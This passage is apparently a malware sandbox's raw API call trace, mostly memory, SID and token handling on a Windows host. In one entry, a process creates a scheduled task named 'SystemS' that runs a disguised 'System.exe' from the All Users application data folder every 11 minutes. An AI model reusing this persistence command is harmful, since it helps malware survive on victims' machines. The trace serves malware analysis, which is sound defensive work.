(_Block=0x196ef0d1be0) [0127.264] free (_Block=0x196ef0d1f40) [0127.264] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0127.264] malloc (_Size=0x5e) returned 0x196ef0d03e0 [0127.265] free (_Block=0x196ef0d20c0) [0127.265] malloc (_Size=0x18) returned 0x196ef0d2020 [0127.265] free (_Block=0x196ef0d03e0) [0127.265] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690 | out: Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690) returned 0 [0127.266] GetLastError () returned 0x7a [0127.266] malloc (_Size=0x1a) returned 0x196ef0fa0c0 [0127.266] malloc (_Size=0xe) returned 0x196ef0d1f60 [0127.266] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0fa0c0, cchName=0x670ffc5a0, ReferencedDomainName=0x196ef0d1f60, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690 | out: Name="RDhJ0CNFevzX", cchName=0x670ffc5a0, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690) returned 1 [0127.267] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0127.267] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0127.267] free (_Block=0x196ef0fa0c0) [0127.268] free (_Block=0x196ef0d1f60) [0127.268] free (_Block=0x196ef0f9af0) [0127.268] free (_Block=0x196ef0d1aa0) [0127.268] free (_Block=0x196ef0d1ba0) [0127.268] free (_Block=0x196ef0d2020) [0127.268] free (_Block=0x196ef0d09d0) [0127.268] malloc (_Size=0x48) returned 0x196ef0cc850 [0127.269] LoadLibraryExW (lpLibFileName="userenv.dll", hFile=0x0, dwFlags=0x0) returned 0x7ffa77c00000 [0127.276] GetProcAddress (hModule=0x7ffa77c00000, lpProcName="DestroyEnvironmentBlock") returned 0x7ffa77c034a0 [0127.276] GetProcAddress (hModule=0x7ffa77c00000, lpProcName="CreateEnvironmentBlock") returned 0x7ffa77c034d0 [0127.276] malloc (_Size=0x18) returned 0x196ef0d1a20 [0127.276] CreateEnvironmentBlock () returned 0x1 [0127.325] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0127.325] CreateProcessAsUserW (in: hToken=0x33c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"SystemS\" /sc MINUTE /mo 11 /tr \"'C:\\Users\\All Users\\Application Data\\System.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x670ffc800*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x670ffc6a8 | out: lpCommandLine="schtasks.exe /create /tn \"SystemS\" /sc MINUTE /mo 11 /tr \"'C:\\Users\\All Users\\Application Data\\System.exe'\" /f", lpProcessInformation=0x670ffc6a8*(hProcess=0x260, hThread=0x264, dwProcessId=0x55c, dwThreadId=0xb8)) returned 1 [0127.333] CloseHandle (hObject=0x260) returned 1 [0127.333] CloseHandle (hObject=0x264) returned 1 [0127.333] free (_Block=0x196ef0d1bc0) [0127.333] DestroyEnvironmentBlock () returned 0x1 [0127.333] malloc (_Size=0x48) returned 0x196ef0cd160 [0127.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x670ffc680 | out: lpSystemTimeAsFileTime=0x670ffc680*(dwLowDateTime=0x2cc07941, dwHighDateTime=0x1d9eb0c)) [0127.334] SetEvent (hEvent=0x248) returned 1 [0127.334] CloseHandle (hObject=0x320) returned 1 [0127.334] CloseHandle (hObject=0x33c) returned 1 [0127.338] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788330 [0127.339] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788330, pulNumLanguages=0x670ffdf80 | out: pulNumLanguages=0x670ffdf80) returned 1 [0127.339] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0127.339] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0128.183] RtlRestoreLastWin32Error () returned 0x670db9000 [0128.183] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdeb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffddb0 | out: pulNumLanguages=0x670ffdeb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffddb0) returned 1 [0128.183] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788250 [0128.183] RtlRestoreLastWin32Error () returned 0x670db9000 [0128.184] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdeb8, pwszLanguagesBuffer=0x196ee788250, pcchLanguagesBuffer=0x670ffddb0 | out: pulNumLanguages=0x670ffdeb8, pwszLanguagesBuffer=0x196ee788250, pcchLanguagesBuffer=0x670ffddb0) returned 1 [0128.184] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0128.184] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0128.184] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7d80 [0128.184] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7d80, pulNumLanguages=0x670ffdeb8 | out: pulNumLanguages=0x670ffdeb8) returned 1 [0128.184] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7d80) returned 1 [0128.187] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0128.188] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0128.188] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0128.188] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0128.188] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0128.191] GetCurrentThread () returned 0xfffffffffffffffe [0128.191] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x670ffc740 | out: TokenHandle=0x670ffc740*=0x33c) returned 1 [0128.191] DuplicateTokenEx (in: hExistingToken=0x33c, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x670ffc758 | out: phNewToken=0x670ffc758*=0x320) returned 1 [0128.191] GetTokenInformation (in: TokenHandle=0x33c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x0, ReturnLength=0x670ffc6e0) returned 0 [0128.191] GetLastError () returned 0x7a [0128.191] malloc (_Size=0x2c) returned 0x196ef0d0e50 [0128.191] GetTokenInformation (in: TokenHandle=0x33c, TokenInformationClass=0x1, TokenInformation=0x196ef0d0e50, TokenInformationLength=0x2c, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x196ef0d0e50, ReturnLength=0x670ffc6e0) returned 1 [0128.191] IsValidSid (pSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0128.192] GetLengthSid (pSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0128.192] malloc (_Size=0x1c) returned 0x196ef0f9e20 [0128.192] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9e20, pSourceSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0128.192] GetSidIdentifierAuthority (pSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0e62 [0128.192] malloc (_Size=0x18) returned 0x196ef0d1f40 [0128.192] _ultow (in: _Dest=0x5, _Radix=1895810256 | out: _Dest=0x5) returned="5" [0128.192] malloc (_Size=0x18) returned 0x196ef0d1d60 [0128.192] malloc (_Size=0x18) returned 0x196ef0d2040 [0128.192] SysStringLen (param_1="S-1-") returned 0x4 [0128.192] SysStringLen (param_1="5") returned 0x1 [0128.192] memcpy (in: _Dst=0x196ee7c7588, _Src=0x196ee7aaa18, _Size=0xa | out: _Dst=0x196ee7c7588) returned 0x196ee7c7588 [0128.192] memcpy (in: _Dst=0x196ee7c7590, _Src=0x196ee7c7258, _Size=0x4 | out: _Dst=0x196ee7c7590) returned 0x196ee7c7590 [0128.192] free (_Block=0x196ef0d1f40) [0128.192] free (_Block=0x196ef0d1d60) [0128.192] GetSidSubAuthorityCount (pSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0e61 [0128.192] GetSidSubAuthority (pSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0e68 [0128.192] _ultow (in: _Dest=0x15, _Radix=1895810256 | out: _Dest=0x15) returned="21" [0128.192] malloc (_Size=0x18) returned 0x196ef0d2020 [0128.192] malloc (_Size=0x18) returned 0x196ef0d1d60 [0128.192] SysStringLen (param_1="S-1-5") returned 0x5 [0128.192] SysStringLen (param_1="-") returned 0x1 [0128.193] memcpy (in: _Dst=0x196ee7c7258, _Src=0x196ee7c7588, _Size=0xc | out: _Dst=0x196ee7c7258) returned 0x196ee7c7258 [0128.193] memcpy (in: _Dst=0x196ee7c7262, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee7c7262) returned 0x196ee7c7262 [0128.193] free (_Block=0x196ef0d2040) [0128.193] free (_Block=0x196ef0d2020) [0128.193] malloc (_Size=0x18) returned 0x196ef0d2080 [0128.193] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0128.193] SysStringLen (param_1="S-1-5-") returned 0x6 [0128.193] SysStringLen (param_1="21") returned 0x2 [0128.193] memcpy (in: _Dst=0x196ee7aaa18, _Src=0x196ee7c7258, _Size=0xe | out: _Dst=0x196ee7aaa18) returned 0x196ee7aaa18 [0128.193] memcpy (in: _Dst=0x196ee7aaa24, _Src=0x196ee7c7588, _Size=0x6 | out: _Dst=0x196ee7aaa24) returned 0x196ee7aaa24 [0128.193] free (_Block=0x196ef0d1d60) [0128.193] free (_Block=0x196ef0d2080) [0128.193] GetSidSubAuthority (pSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0e6c [0128.193] _ultow (in: _Dest=0x5cffa865, _Radix=1895810256 | out: _Dest=0x5cffa865) returned="1560258661" [0128.193] malloc (_Size=0x18) returned 0x196ef0d1b00 [0128.193] malloc (_Size=0x18) returned 0x196ef0d1e00 [0128.193] SysStringLen (param_1="S-1-5-21") returned 0x8 [0128.193] SysStringLen (param_1="-") returned 0x1 [0128.193] memcpy (in: _Dst=0x196ee7c7588, _Src=0x196ee7aaa18, _Size=0x12 | out: _Dst=0x196ee7c7588) returned 0x196ee7c7588 [0128.193] memcpy (in: _Dst=0x196ee7c7598, _Src=0x196ee7c7258, _Size=0x4 | out: _Dst=0x196ee7c7598) returned 0x196ee7c7598 [0128.193] free (_Block=0x196ef0d1ce0) [0128.193] free (_Block=0x196ef0d1b00) [0128.194] malloc (_Size=0x18) returned 0x196ef0d1b40 [0128.194] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0128.194] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0128.194] SysStringLen (param_1="1560258661") returned 0xa [0128.194] memcpy (in: _Dst=0x196ee777ca8, _Src=0x196ee7c7588, _Size=0x14 | out: _Dst=0x196ee777ca8) returned 0x196ee777ca8 [0128.194] memcpy (in: _Dst=0x196ee777cba, _Src=0x196ee7aaa18, _Size=0x16 | out: _Dst=0x196ee777cba) returned 0x196ee777cba [0128.194] free (_Block=0x196ef0d1e00) [0128.194] free (_Block=0x196ef0d1b40) [0128.194] GetSidSubAuthority (pSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0e70 [0128.194] _ultow (in: _Dest=0xeddecfcf, _Radix=1895810256 | out: _Dest=0xeddecfcf) returned="3990802383" [0128.194] malloc (_Size=0x18) returned 0x196ef0d1a60 [0128.194] malloc (_Size=0x18) returned 0x196ef0d1be0 [0128.194] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0128.194] SysStringLen (param_1="-") returned 0x1 [0128.194] memcpy (in: _Dst=0x196ee777668, _Src=0x196ee777ca8, _Size=0x28 | out: _Dst=0x196ee777668) returned 0x196ee777668 [0128.194] memcpy (in: _Dst=0x196ee77768e, _Src=0x196ee7c7588, _Size=0x4 | out: _Dst=0x196ee77768e) returned 0x196ee77768e [0128.194] free (_Block=0x196ef0d1ca0) [0128.194] free (_Block=0x196ef0d1a60) [0128.194] malloc (_Size=0x18) returned 0x196ef0d1f40 [0128.194] malloc (_Size=0x18) returned 0x196ef0d20c0 [0128.194] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0128.194] SysStringLen (param_1="3990802383") returned 0xa [0128.195] memcpy (in: _Dst=0x196ee82dd38, _Src=0x196ee777668, _Size=0x2a | out: _Dst=0x196ee82dd38) returned 0x196ee82dd38 [0128.195] memcpy (in: _Dst=0x196ee82dd60, _Src=0x196ee7c7588, _Size=0x16 | out: _Dst=0x196ee82dd60) returned 0x196ee82dd60 [0128.195] free (_Block=0x196ef0d1be0) [0128.195] free (_Block=0x196ef0d1f40) [0128.195] GetSidSubAuthority (pSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0e74 [0128.195] _ultow (in: _Dest=0x6bfcce57, _Radix=1895810256 | out: _Dest=0x6bfcce57) returned="1811730007" [0128.195] malloc (_Size=0x18) returned 0x196ef0d2080 [0128.195] malloc (_Size=0x18) returned 0x196ef0d2020 [0128.195] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0128.195] SysStringLen (param_1="-") returned 0x1 [0128.195] memcpy (in: _Dst=0x196ee82ce38, _Src=0x196ee82dd38, _Size=0x3e | out: _Dst=0x196ee82ce38) returned 0x196ee82ce38 [0128.195] memcpy (in: _Dst=0x196ee82ce74, _Src=0x196ee7c7588, _Size=0x4 | out: _Dst=0x196ee82ce74) returned 0x196ee82ce74 [0128.195] free (_Block=0x196ef0d20c0) [0128.195] free (_Block=0x196ef0d2080) [0128.195] malloc (_Size=0x18) returned 0x196ef0d2040 [0128.195] malloc (_Size=0x18) returned 0x196ef0d1c00 [0128.195] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0128.195] SysStringLen (param_1="1811730007") returned 0xa [0128.195] memcpy (in: _Dst=0x196ee82dd38, _Src=0x196ee82ce38, _Size=0x40 | out: _Dst=0x196ee82dd38) returned 0x196ee82dd38 [0128.195] memcpy (in: _Dst=0x196ee82dd76, _Src=0x196ee7c7588, _Size=0x16 | out: _Dst=0x196ee82dd76) returned 0x196ee82dd76 [0128.195] free (_Block=0x196ef0d2020) [0128.196] free (_Block=0x196ef0d2040) [0128.196] GetSidSubAuthority (pSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0e78 [0128.196] _ultow (in: _Dest=0x3e8, _Radix=1895810256 | out: _Dest=0x3e8) returned="1000" [0128.196] malloc (_Size=0x18) returned 0x196ef0d1d80 [0128.196] malloc (_Size=0x18) returned 0x196ef0d1b40 [0128.196] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0128.196] SysStringLen (param_1="-") returned 0x1 [0128.196] memcpy (in: _Dst=0x196ee82ce38, _Src=0x196ee82dd38, _Size=0x54 | out: _Dst=0x196ee82ce38) returned 0x196ee82ce38 [0128.196] memcpy (in: _Dst=0x196ee82ce8a, _Src=0x196ee7c7588, _Size=0x4 | out: _Dst=0x196ee82ce8a) returned 0x196ee82ce8a [0128.196] free (_Block=0x196ef0d1c00) [0128.196] free (_Block=0x196ef0d1d80) [0128.196] malloc (_Size=0x18) returned 0x196ef0d1f40 [0128.196] malloc (_Size=0x18) returned 0x196ef0d1d20 [0128.196] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0128.196] SysStringLen (param_1="1000") returned 0x4 [0128.196] memcpy (in: _Dst=0x196ee82dd38, _Src=0x196ee82ce38, _Size=0x56 | out: _Dst=0x196ee82dd38) returned 0x196ee82dd38 [0128.196] memcpy (in: _Dst=0x196ee82dd8c, _Src=0x196ee7c7588, _Size=0xa | out: _Dst=0x196ee82dd8c) returned 0x196ee82dd8c [0128.196] free (_Block=0x196ef0d1b40) [0128.196] free (_Block=0x196ef0d1f40) [0128.196] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0128.196] malloc (_Size=0x5e) returned 0x196ef0d0450 [0128.197] free (_Block=0x196ef0d1d20) [0128.197] malloc (_Size=0x18) returned 0x196ef0d1f40 [0128.198] free (_Block=0x196ef0d0450) [0128.198] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698 | out: Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698) returned 0 [0128.199] GetLastError () returned 0x7a [0128.199] malloc (_Size=0x1a) returned 0x196ef0f9ac0 [0128.199] malloc (_Size=0xe) returned 0x196ef0d1ca0 [0128.199] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9ac0, cchName=0x670ffc5a0, ReferencedDomainName=0x196ef0d1ca0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698 | out: Name="RDhJ0CNFevzX", cchName=0x670ffc5a0, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698) returned 1 [0128.200] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0128.201] malloc (_Size=0x18) returned 0x196ef0d20a0 [0128.201] free (_Block=0x196ef0f9ac0) [0128.201] free (_Block=0x196ef0d1ca0) [0128.201] free (_Block=0x196ef0f9e20) [0128.201] free (_Block=0x196ef0d20a0) [0128.201] free (_Block=0x196ef0d1aa0) [0128.201] free (_Block=0x196ef0d1f40) [0128.201] free (_Block=0x196ef0d0e50) [0128.202] GetVersionExW (in: lpVersionInformation=0x670ffc870*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee795208, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x670ffc870*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0128.202] GetTokenInformation (in: TokenHandle=0x33c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x0, ReturnLength=0x670ffc6e0) returned 0 [0128.202] GetLastError () returned 0x7a [0128.202] malloc (_Size=0x2c) returned 0x196ef0d0e10 [0128.202] GetTokenInformation (in: TokenHandle=0x33c, TokenInformationClass=0x1, TokenInformation=0x196ef0d0e10, TokenInformationLength=0x2c, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x196ef0d0e10, ReturnLength=0x670ffc6e0) returned 1 [0128.202] IsValidSid (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0128.202] GetLengthSid (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0128.202] malloc (_Size=0x1c) returned 0x196ef0f9f10 [0128.202] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9f10, pSourceSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9f10*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0128.202] GetSidIdentifierAuthority (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0e22 [0128.202] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0128.202] _ultow (in: _Dest=0x5, _Radix=1895810256 | out: _Dest=0x5) returned="5" [0128.202] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0128.202] malloc (_Size=0x18) returned 0x196ef0d1f00 [0128.202] SysStringLen (param_1="S-1-") returned 0x4 [0128.202] SysStringLen (param_1="5") returned 0x1 [0128.202] memcpy (in: _Dst=0x196ee7aaa18, _Src=0x196ee7c7588, _Size=0xa | out: _Dst=0x196ee7aaa18) returned 0x196ee7aaa18 [0128.202] memcpy (in: _Dst=0x196ee7aaa20, _Src=0x196ee7c7258, _Size=0x4 | out: _Dst=0x196ee7aaa20) returned 0x196ee7aaa20 [0128.202] free (_Block=0x196ef0d1ba0) [0128.202] free (_Block=0x196ef0d1ca0) [0128.202] GetSidSubAuthorityCount (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0e21 [0128.203] GetSidSubAuthority (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0e28 [0128.203] _ultow (in: _Dest=0x15, _Radix=1895810256 | out: _Dest=0x15) returned="21" [0128.203] malloc (_Size=0x18) returned 0x196ef0d2020 [0128.203] malloc (_Size=0x18) returned 0x196ef0d19a0 [0128.203] SysStringLen (param_1="S-1-5") returned 0x5 [0128.203] SysStringLen (param_1="-") returned 0x1 [0128.203] memcpy (in: _Dst=0x196ee7c7258, _Src=0x196ee7aaa18, _Size=0xc | out: _Dst=0x196ee7c7258) returned 0x196ee7c7258 [0128.203] memcpy (in: _Dst=0x196ee7c7262, _Src=0x196ee7c7588, _Size=0x4 | out: _Dst=0x196ee7c7262) returned 0x196ee7c7262 [0128.203] free (_Block=0x196ef0d1f00) [0128.203] free (_Block=0x196ef0d2020) [0128.203] malloc (_Size=0x18) returned 0x196ef0d19c0 [0128.203] malloc (_Size=0x18) returned 0x196ef0d20e0 [0128.203] SysStringLen (param_1="S-1-5-") returned 0x6 [0128.203] SysStringLen (param_1="21") returned 0x2 [0128.203] memcpy (in: _Dst=0x196ee7c7588, _Src=0x196ee7c7258, _Size=0xe | out: _Dst=0x196ee7c7588) returned 0x196ee7c7588 [0128.203] memcpy (in: _Dst=0x196ee7c7594, _Src=0x196ee7aaa18, _Size=0x6 | out: _Dst=0x196ee7c7594) returned 0x196ee7c7594 [0128.203] free (_Block=0x196ef0d19a0) [0128.203] free (_Block=0x196ef0d19c0) [0128.203] GetSidSubAuthority (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0e2c [0128.203] _ultow (in: _Dest=0x5cffa865, _Radix=1895810256 | out: _Dest=0x5cffa865) returned="1560258661" [0128.203] malloc (_Size=0x18) returned 0x196ef0d1c20 [0128.204] malloc (_Size=0x18) returned 0x196ef0d19c0 [0128.204] SysStringLen (param_1="S-1-5-21") returned 0x8 [0128.204] SysStringLen (param_1="-") returned 0x1 [0128.204] memcpy (in: _Dst=0x196ee7aaa18, _Src=0x196ee7c7588, _Size=0x12 | out: _Dst=0x196ee7aaa18) returned 0x196ee7aaa18 [0128.204] memcpy (in: _Dst=0x196ee7aaa28, _Src=0x196ee7c7258, _Size=0x4 | out: _Dst=0x196ee7aaa28) returned 0x196ee7aaa28 [0128.204] free (_Block=0x196ef0d20e0) [0128.204] free (_Block=0x196ef0d1c20) [0128.204] malloc (_Size=0x18) returned 0x196ef0d1c60 [0128.204] malloc (_Size=0x18) returned 0x196ef0d1a40 [0128.204] SysStringLen (param_1="S-1-5-21-") returned 0x9 